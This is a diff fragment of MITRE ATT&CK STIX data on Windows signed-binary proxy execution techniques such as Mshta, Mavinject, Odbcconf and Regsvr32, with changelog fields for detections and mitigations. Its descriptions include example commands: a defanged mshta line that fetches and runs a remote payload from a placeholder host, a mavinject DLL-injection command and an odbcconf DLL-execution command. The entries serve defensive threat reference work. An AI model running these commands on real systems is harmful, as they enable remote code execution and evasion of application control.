+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1218/014",
+ "external_id": "T1218.014"
+ },
+ {
+ "source_name": "abusing_com_reg",
+ "description": "bohops. (2018, August 18). ABUSING THE COM REGISTRY STRUCTURE (PART 2): HIJACKING & LOADING TECHNIQUES. Retrieved September 20, 2021.",
+ "url": "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/"
+ },
+ {
+ "source_name": "mmc_vulns",
+ "description": "Boxiner, A., Vaknin, E. (2019, June 11). Microsoft Management Console (MMC) Vulnerabilities. Retrieved September 24, 2021.",
+ "url": "https://research.checkpoint.com/2019/microsoft-management-console-mmc-vulnerabilities/"
+ },
+ {
+ "source_name": "win_msc_files_overview",
+ "description": "Brinkmann, M.. (2017, June 10). Windows .msc files overview. Retrieved September 20, 2021.",
+ "url": "https://www.ghacks.net/2017/06/10/windows-msc-files-overview/"
+ },
+ {
+ "source_name": "win_mmc",
+ "description": "Microsoft. (2017, October 16). mmc. Retrieved September 20, 2021.",
+ "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mmc"
+ },
+ {
+ "source_name": "win_wbadmin_delete_catalog",
+ "description": "Microsoft. (2017, October 16). wbadmin delete catalog. Retrieved September 20, 2021.",
+ "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-catalog"
+ },
+ {
+ "source_name": "win_clsid_key",
+ "description": "Microsoft. (2018, May 31). CLSID Key. Retrieved September 24, 2021.",
+ "url": "https://docs.microsoft.com/en-us/windows/win32/com/clsid-key-hklm"
+ },
+ {
+ "source_name": "what_is_mmc",
+ "description": "Microsoft. (2020, September 27). What is Microsoft Management Console?. Retrieved October 5, 2021.",
+ "url": "https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/what-is-microsoft-management-console"
+ },
+ {
+ "source_name": "phobos_virustotal",
+ "description": "Phobos Ransomware. (2020, December 30). Phobos Ransomware, Fast.exe. Retrieved September 20, 2021.",
+ "url": "https://www.virustotal.com/gui/file/0b4c743246478a6a8c9fa3ff8e04f297507c2f0ea5d61a1284fe65387d172f81/detection"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Wes Hurd"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ ],
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+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "2.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Creation\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:40.236000+00:00\", \"old_value\": \"2025-04-16 20:37:23.449000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line parameters for suspicious or malicious use of MMC. Since MMC is a signed Windows binary, verify use of MMC is legitimate and not malicious. \\n\\nMonitor for creation and use of .msc files. MMC may legitimately be used to call Microsoft-created .msc files, such as services.msc or eventvwr.msc. Invoking non-Microsoft .msc files may be an indicator of malicious activity. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor processes and command-line parameters for suspicious or malicious use of MMC. Since MMC is a signed Windows binary, verify use of MMC is legitimate and not malicious. \\n-\\n-Monitor for creation and use of .msc files. MMC may legitimately be used to call Microsoft-created .msc files, such as services.msc or eventvwr.msc. Invoking non-Microsoft .msc files may be an indicator of malicious activity. \"}}}",
+ "previous_version": "2.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1038: Execution Prevention",
+ "M1042: Disable or Remove Feature or Program"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0222: Detecting MMC (.msc) Proxy Execution and Malicious COM Activation"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--1bae753e-8e52-4055-a66d-2ead90303ca9",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2021-09-22 17:45:10.241000+00:00",
+ "modified": "2025-10-24 17:48:28.606000+00:00",
+ "name": "Mavinject",
+ "description": "Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)\n\nAdversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. C:\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. \n\nIn addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1218/013",
+ "external_id": "T1218.013"
+ },
+ {
+ "source_name": "ATT Lazarus TTP Evolution",
+ "description": "Fernando Martinez. (2021, July 6). Lazarus campaign TTPs and evolution. Retrieved September 22, 2021.",
+ "url": "https://cybersecurity.att.com/blogs/labs-research/lazarus-campaign-ttps-and-evolution"
+ },
+ {
+ "source_name": "LOLBAS Mavinject",
+ "description": "LOLBAS. (n.d.). Mavinject.exe. Retrieved September 22, 2021.",
+ "url": "https://lolbas-project.github.io/lolbas/Binaries/Mavinject/"
+ },
+ {
+ "source_name": "Mavinject Functionality Deconstructed",
+ "description": "Matt Graeber. (2018, May 29). mavinject.exe Functionality Deconstructed. Retrieved September 22, 2021.",
+ "url": "https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e"
+ },
+ {
+ "source_name": "Reaqta Mavinject",
+ "description": "Reaqta. (2017, December 16). From False Positive to True Positive: the story of Mavinject.exe, the Microsoft Injector. Retrieved September 22, 2021.",
+ "url": "https://reaqta.com/2017/12/mavinject-microsoft-injector/"
+ }
+ ],
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+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "2.0",
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+ "shared": [
+ "M1038: Execution Prevention",
+ "M1042: Disable or Remove Feature or Program"
+ ],
+ "new": [],
+ "dropped": []
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+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)"
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+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0433: Detecting Code Injection via mavinject.exe (App-V Injector)"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-23 19:32:49.557000+00:00",
+ "modified": "2025-10-24 17:49:03.265000+00:00",
+ "name": "Mshta",
+ "description": "Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1218/005",
+ "external_id": "T1218.005"
+ },
+ {
+ "source_name": "Cylance Dust Storm",
+ "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.",
+ "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"
+ },
+ {
+ "source_name": "Red Canary HTA Abuse Part Deux",
+ "description": "McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.",
+ "url": "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/"
+ },
+ {
+ "source_name": "FireEye Attacks Leveraging HTA",
+ "description": "Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.",
+ "url": "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html"
+ },
+ {
+ "source_name": "Airbus Security Kovter Analysis",
+ "description": "Dove, A. (2016, March 23). Fileless Malware \u2013 A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.",
+ "url": "https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/"
+ },
+ {
+ "source_name": "FireEye FIN7 April 2017",
+ "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
+ "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
+ },
+ {
+ "source_name": "Wikipedia HTML Application",
+ "description": "Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.",
+ "url": "https://en.wikipedia.org/wiki/HTML_Application"
+ },
+ {
+ "source_name": "MSDN HTML Applications",
+ "description": "Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.",
+ "url": "https://msdn.microsoft.com/library/ms536471.aspx"
+ },
+ {
+ "source_name": "LOLBAS Mshta",
+ "description": "LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019.",
+ "url": "https://lolbas-project.github.io/lolbas/Binaries/Mshta/"
+ }
+ ],
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+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "@ionstorm",
+ "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank",
+ "Ricardo Dias"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "2.1",
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+ "M1042: Disable or Remove Feature or Program"
+ ],
+ "new": [],
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+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0029: Network Traffic (Network Connection Creation)"
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+ "shared": [],
+ "new": [
+ "DET0506: Detecting Mshta-based Proxy Execution via Suspicious HTA or Script Invocation"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-24 14:38:49.266000+00:00",
+ "modified": "2025-10-24 17:48:38.626000+00:00",
+ "name": "Msiexec",
+ "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.\n\nAdversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1218/007",
+ "external_id": "T1218.007"
+ },
+ {
+ "source_name": "TrendMicro Msiexec Feb 2018",
+ "description": "Co, M. and Sison, G. (2018, February 8). Attack Using Windows Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019.",
+ "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/"
+ },
+ {
+ "source_name": "LOLBAS Msiexec",
+ "description": "LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019.",
+ "url": "https://lolbas-project.github.io/lolbas/Binaries/Msiexec/"
+ },
+ {
+ "source_name": "Microsoft msiexec",
+ "description": "Microsoft. (2017, October 15). msiexec. Retrieved January 24, 2020.",
+ "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec"
+ },
+ {
+ "source_name": "Microsoft AlwaysInstallElevated 2018",
+ "description": "Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December 14, 2020.",
+ "url": "https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Ziv Kaspersky, Cymptom",
+ "Alexandros Pappas"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
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+ "x_mitre_version": "2.1",
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+ ],
+ "new": [],
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+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0011: Module (Module Load)",
+ "DS0017: Command (Command Execution)",
+ "DS0029: Network Traffic (Network Connection Creation)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0158: Detection of Msiexec Abuse for Local, Network, and DLL Execution"
+ ],
+ "dropped": []
+ }
+ },
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+ "type": "attack-pattern",
+ "id": "attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-24 15:01:32.917000+00:00",
+ "modified": "2025-10-24 17:48:55.622000+00:00",
+ "name": "Odbcconf",
+ "description": "Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.\n\nAdversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR \"C:\\Users\\Public\\file.dll\"}). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) \n",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1218/008",
+ "external_id": "T1218.008"
+ },
+ {
+ "source_name": "Microsoft odbcconf.exe",
+ "description": "Microsoft. (2017, January 18). ODBCCONF.EXE. Retrieved March 7, 2019.",
+ "url": "https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017"
+ },
+ {
+ "source_name": "LOLBAS Odbcconf",
+ "description": "LOLBAS. (n.d.). Odbcconf.exe. Retrieved March 7, 2019.",
+ "url": "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/"
+ },
+ {
+ "source_name": "TrendMicro Squiblydoo Aug 2017",
+ "description": "Bermejo, L., Giagone, R., Wu, R., and Yarochkin, F. (2017, August 7). Backdoor-carrying Emails Set Sights on Russian-speaking Businesses. Retrieved March 7, 2019.",
+ "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/"
+ },
+ {
+ "source_name": "TrendMicro Cobalt Group Nov 2017",
+ "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.",
+ "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/"
+ }
+ ],
+ "object_marking_refs": [
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+ ],
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+ "x_mitre_domains": [
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
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+ "M1042: Disable or Remove Feature or Program"
+ ],
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+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0011: Module (Module Load)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0486: Detecting Odbcconf Proxy Execution of Malicious DLLs"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-23 19:42:16.439000+00:00",
+ "modified": "2025-10-24 17:49:21.181000+00:00",
+ "name": "Regsvcs/Regasm",
+ "description": "Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1218/009",
+ "external_id": "T1218.009"
+ },
+ {
+ "source_name": "MSDN Regsvcs",
+ "description": "Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.",
+ "url": "https://msdn.microsoft.com/en-us/library/04za0hca.aspx"
+ },
+ {
+ "source_name": "MSDN Regasm",
+ "description": "Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.",
+ "url": "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx"
+ },
+ {
+ "source_name": "LOLBAS Regsvcs",
+ "description": "LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019.",
+ "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/"
+ },
+ {
+ "source_name": "LOLBAS Regasm",
+ "description": "LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.",
+ "url": "https://lolbas-project.github.io/lolbas/Binaries/Regasm/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Casey Smith"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "2.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:21.181000+00:00\", \"old_value\": \"2025-04-25 14:47:58.456000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\"}}}",
+ "previous_version": "2.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1038: Execution Prevention",
+ "M1042: Disable or Remove Feature or Program"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0361: Detecting .NET COM Registration Abuse via Regsvcs/Regasm"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-23 19:52:17.414000+00:00",
+ "modified": "2025-10-24 17:49:17.377000+00:00",
+ "name": "Regsvr32",
+ "description": "Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)\n\nMalicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1218/010",
+ "external_id": "T1218.010"
+ },
+ {
+ "source_name": "FireEye Regsvr32 Targeting Mongolian Gov",
+ "description": "Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.",
+ "url": "https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html"
+ },
+ {
+ "source_name": "LOLBAS Regsvr32",
+ "description": "LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019.",
+ "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/"
+ },
+ {
+ "source_name": "Microsoft Regsvr32",
+ "description": "Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.",
+ "url": "https://support.microsoft.com/en-us/kb/249873"
+ },
+ {
+ "source_name": "Carbon Black Squiblydoo Apr 2016",
+ "description": "Nolen, R. et al.. (2016, April 28). Threat Advisory: \u201cSquiblydoo\u201d Continues Trend of Attackers Using Native OS Tools to \u201cLive off the Land\u201d. Retrieved April 9, 2018.",
+ "url": "https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Casey Smith"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "2.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"Command: Command Execution\", \"Network Traffic: Network Connection Creation\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:17.377000+00:00\", \"old_value\": \"2025-04-16 20:37:19.846000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)\"}}}",
+ "previous_version": "2.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1050: Exploit Protection"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0011: Module (Module Load)",
+ "DS0017: Command (Command Execution)",
+ "DS0029: Network Traffic (Network Connection Creation)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0282: Detection Strategy for System Binary Proxy Execution: Regsvr32"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-08-10 13:59:38.443000+00:00",
+ "modified": "2025-10-24 17:49:01.930000+00:00",
+ "name": "Verclsid",
+ "description": "Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)\n\nAdversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running verclsid.exe /S /C {CLSID}, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) ",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1218/012",
+ "external_id": "T1218.012"
+ },
+ {
+ "source_name": "BOHOPS Abusing the COM Registry",
